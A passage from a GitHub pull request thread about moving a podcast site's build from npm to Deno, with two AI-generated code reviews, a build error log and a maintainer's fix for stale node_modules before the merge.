(verify standard runs correctly under Deno's Node compat — if not, npx standard from a machine with Node remains the fallback). A type-check task (astro check, which requires adding @astrojs/check + typescript to imports) would also be a cheap win for a TypeScript codebase whose only current verification is a static build.

9. ⚪️ Minor leftovers and an easy extra hardening opportunity

  • Addressed

  • Dismissed

  • .gitignore:11 still ignores npm-debug.log*; with npm gone this (and arguably the # logs section) is dead weight.

  • Since this PR's motivation is supply-chain defense, consider declaring an explicit minimum dependency age in deno.json (Deno 2.9+ applies a 24h default silently; an explicit value documents intent and can be widened):

    // deno.json
    "minimumDependencyAge": "P3D"

Review generated using glm-5.3 via Z.AI. Comment /review to re-run.

@SebinSong

SebinSong commented Oct 6, 2026 •

Copy link
Copy Markdown
Collaborator Author

Code Review

Base: main (a397743)
Head: sebin/task/#1-migrate-to-deno (0a143d5)
Date: 2026-10-06
Model: Claude Opus 5.5 (claude-opus-5-5)

Scope note: deno.lock (2,574 of the 2,736 changed lines) is a generated file. It was checked by script rather than read line by line: lockfile version 5, 421 npm packages, every one has an integrity hash, no JSR/remote/tarball sources, and its specifiers match the nine entries in deno.json. All other files were read in full.

The permission flags (--allow-run, --allow-ffi, --allow-read unrestricted) were tested and decided on in the previous round and are documented in AGENTS.md:20, so they are not raised again here.


1. 🟡 Unclosed code block in AGENTS.md turns the rest of the file into code

  • Addressed
  • Dismissed

AGENTS.md:15 has the closing fence on the same line as the last command:

deno task preview   # serve the built dist/```

A closing fence only counts when it is on its own line. As written, the block never closes, so everything from line 16 to the end of the file (the notes, the whole Architecture section, CI) is rendered as one code block on GitHub, and the backticks, headings and lists in it show as raw text.

This came from removing the stop-preview line that used to sit between these two lines. Fix:

```sh
deno install        # install dependencies into node_modules/ (after cloning or changing deno.json)
deno task dev       # dev server
deno task build     # static build into dist/
deno task preview   # serve the built dist/
```

2. ⚪ The /review workflow does not skip deno.lock

  • Addressed
  • Dismissed

.github/workflows/pull-review.yml:184-188 builds the diff for the AI review and leaves out the lockfiles of other package managers:

':!package-lock.json' ':!**/package-lock.json' \
':!pnpm-lock.yaml' ':!**/pnpm-lock.yaml' \
':!yarn.lock' ':!**/yarn.lock' \

deno.lock is not in the list. With package-lock.json gone, every /review on a PR that touches dependencies (including this one, with 2,574 lock lines) now sends the whole lockfile to the reviewer, which costs more and buries the real changes. Suggested addition:

':!deno.lock' ':!**/deno.lock' \

The same file's prompt text still tells the reviewer the project follows StandardJS (pull-review.yml:292, 327), which this repo has never had configured. That is older than this branch, so only worth fixing if you are editing the file anyway.

Lower rating because the workflow file is not part of this diff, and I did not check whether pull-review-crush.yml builds its diff the same way.

3. ⚪ Nothing stops the lockfile from being rewritten silently

  • Addressed
  • Dismissed

deno install and deno task build will update deno.lock on their own if it does not match deno.json. For a migration whose goal is supply-chain safety, the stricter setup is to make that an error, so a changed lockfile is always a deliberate step:

{
  "nodeModulesDir": "auto",
  "minimumDependencyAge": "P3D",
  "lock": { "frozen": true },
  ...
}

Upgrading a dependency then needs deno install --frozen=false, which would have to be added to the README. Not tested on this project, and it adds a step for contributors, so this is a judgment call rather than a defect.

4. ⚪ README does not say how to upgrade a dependency under minimumDependencyAge

  • Addressed
  • Dismissed

deno.json:3 sets "minimumDependencyAge": "P3D". The README (README.md:14-20) only covers deno install. Someone who bumps a version in deno.json to a release less than three days old will get an install error with no hint in the repo about why. One sentence would cover it, for example after README.md:20:

Dependencies must be at least 3 days old to be installed (`minimumDependencyAge` in `deno.json`). For an urgent upgrade, run `deno install --minimum-dependency-age=0` once.

5. ⚪ Missing blank line before a heading in README.md

  • Addressed
  • Dismissed

README.md:35-36: the Commands table runs straight into the next heading.

| `deno task preview` | Serves the built `dist/` folder at http://localhost:4321 |
## Feed validation services

GitHub still renders this correctly, but other Markdown renderers may not, and every other heading in the file has a blank line before it. Add one empty line between the two. (Also a leftover from removing the stop-preview row.)

6. ⚪ The same permission flags are repeated in all three tasks

  • Addressed
  • Dismissed

deno.json:5-7 repeats --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run three times; only the --allow-net list and the Astro command differ. A future change to the flags has to be made in three places and it is easy to miss one. Carried over from the previous round, where it was not decided. A shared base task is one option, but I have not tested one, so treat this as optional tidying.

@SebinSong
SebinSong marked this pull request as draft October 6, 2026 03:40
@SebinSong
SebinSong marked this pull request as ready for review October 6, 2026 21:42
@SebinSong

SebinSong commented Oct 6, 2026 •

Copy link
Copy Markdown
Collaborator Author

The PR is ready.

@taoeffect
As detailed in README.md, the build command is now deno task build. Also please upgrade Deno to 2.7.0 or higher if the Deno in your machine (that you use to build/deploy the site) is lower than this (This is due to Astro 5 -> 7 upgrade and the build failed when Deno is my machine was 2.4.x).

Thanks.

@taoeffect taoeffect left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Nicely done @SebinSong ! One change request (that was my mistake for forgetting!)

Comment thread .github/workflows/pull-review.yml Outdated
@taoeffect

Copy link
Copy Markdown
Member

Thank you @SebinSong, note that this is taking me a bit of time merge/test because of sysadmin reasons (the latest version of Deno isn't available for Alpine Linux). I'm figuring this out and will get back to you.

@taoeffect taoeffect left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Excellent work @SebinSong! 👏

Thankfully it seems that Alpine has a sufficiently new version of deno to build this.

However, I ran into an error building:

$ deno install
[ ...snip... ]
$ deno task build
Task build ASTRO_TELEMETRY_DISABLED=1 deno run --allow-read --allow-write=. --allow-env --allow-sys --allow-ffi --allow-run --allow-net=localhost,127.0.0.1 astro build
09:35:37 [vite] Re-optimizing dependencies because vite config has changed
09:35:38 [types] Generated 546ms
09:35:38 [build] output: "static"
09:35:38 [build] mode: "static"
09:35:38 [build] directory: /path/to/podcast.okturtles.org/dist/
09:35:38 [build] Collecting build info...
09:35:38 [build] ✓ Completed in 615ms.
09:35:38 [build] Building static entrypoints...
09:35:42 [vite] ✓ built in 3.64s
09:35:42 [vite] ✓ built in 731ms
09:35:42 [build] Rearranging server assets...
Import "devalue" not a dependency and not in import map from "file:///path/to/podcast.okturtles.org/dist/.prerender/prerender-entry.rzG97g91.mjs"
  hint: If you want to use the npm package, try running `deno add npm:devalue`
    at file:///path/to/podcast.okturtles.org/dist/.prerender/prerender-entry.rzG97g91.mjs:7:34
  Location:
    /path/to/podcast.okturtles.org/node_modules/.deno/astro@7.3.5/node_modules/astro/dist/core/build/default-prerenderer.js:19:30
  Stack trace:
    at file:///path/to/podcast.okturtles.org/dist/.prerender/prerender-entry.rzG97g91.mjs:7:34
    at async generatePages (file:///path/to/podcast.okturtles.org/node_modules/.deno/astro@7.3.5/node_modules/astro/dist/core/build/generate.js:67:3)
    at async Object.buildApp (file:///path/to/podcast.okturtles.org/node_modules/.deno/vite@8.3.2/node_modules/vite/dist/node/chunks/node.js:34905:5)
    at async viteBuild (file:///path/to/podcast.okturtles.org/node_modules/.deno/astro@7.3.5/node_modules/astro/dist/core/build/static-build.js:63:3)
    at async AstroBuilder.run (file:///path/to/podcast.okturtles.org/node_modules/.deno/astro@7.3.5/node_modules/astro/dist/core/build/index.js:202:7)
    at async build (file:///path/to/podcast.okturtles.org/node_modules/.deno/astro@7.3.5/node_modules/astro/dist/cli/build/index.js:29:3)

Comment thread deno.json Outdated
Comment thread README.md Outdated
@taoeffect

taoeffect commented Oct 14, 2026 •

Copy link
Copy Markdown
Member

@SebinSong if you're not able to figure out why deno is breaking like that, it's not the end of the world. We can stick with nodejs in that case. But this should be fixable according the error message.

@SebinSong

Copy link
Copy Markdown
Collaborator Author

@taoeffect Updated per your requests.

Regarding the build failure on your Linux, this is the answer from Opus 5.5:

The PM's build fails because his node_modules folder still holds packages from the old npm setup. Nothing in the repo needs to change. These commands, run in the project folder on their machine, should fix it:

  rm -rf node_modules
  deno install
  deno task build

Why it happens: deno install adds its own packages to an existing node_modules but does not remove what npm left there. During the build, Astro finds the leftover npm copy of devalue at the top of node_modules, so it does not bundle that package into the build. Deno then refuses to load it, because it is not listed in deno.json.

How I confirmed it: my own node_modules turned out to be an old npm install too, and my build was failing with a different error. I moved that folder aside, ran a fresh deno install, and the build passed (43 pages). Then I put a single npm-style devalue folder back into node_modules, and the build failed with exactly the PM's error. Removing the folder made it pass again.

@taoeffect taoeffect left a comment

Copy link
Copy Markdown
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Great work @SebinSong! 👏 👏 👏

@taoeffect
taoeffect merged commit 916ecc1 into main Oct 15, 2026
3 checks passed
@SebinSong
SebinSong deleted the sebin/task/#1-migrate-to-deno branch October 15, 2026 22:32
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

Switch to using deno to build and develop the site

2 participants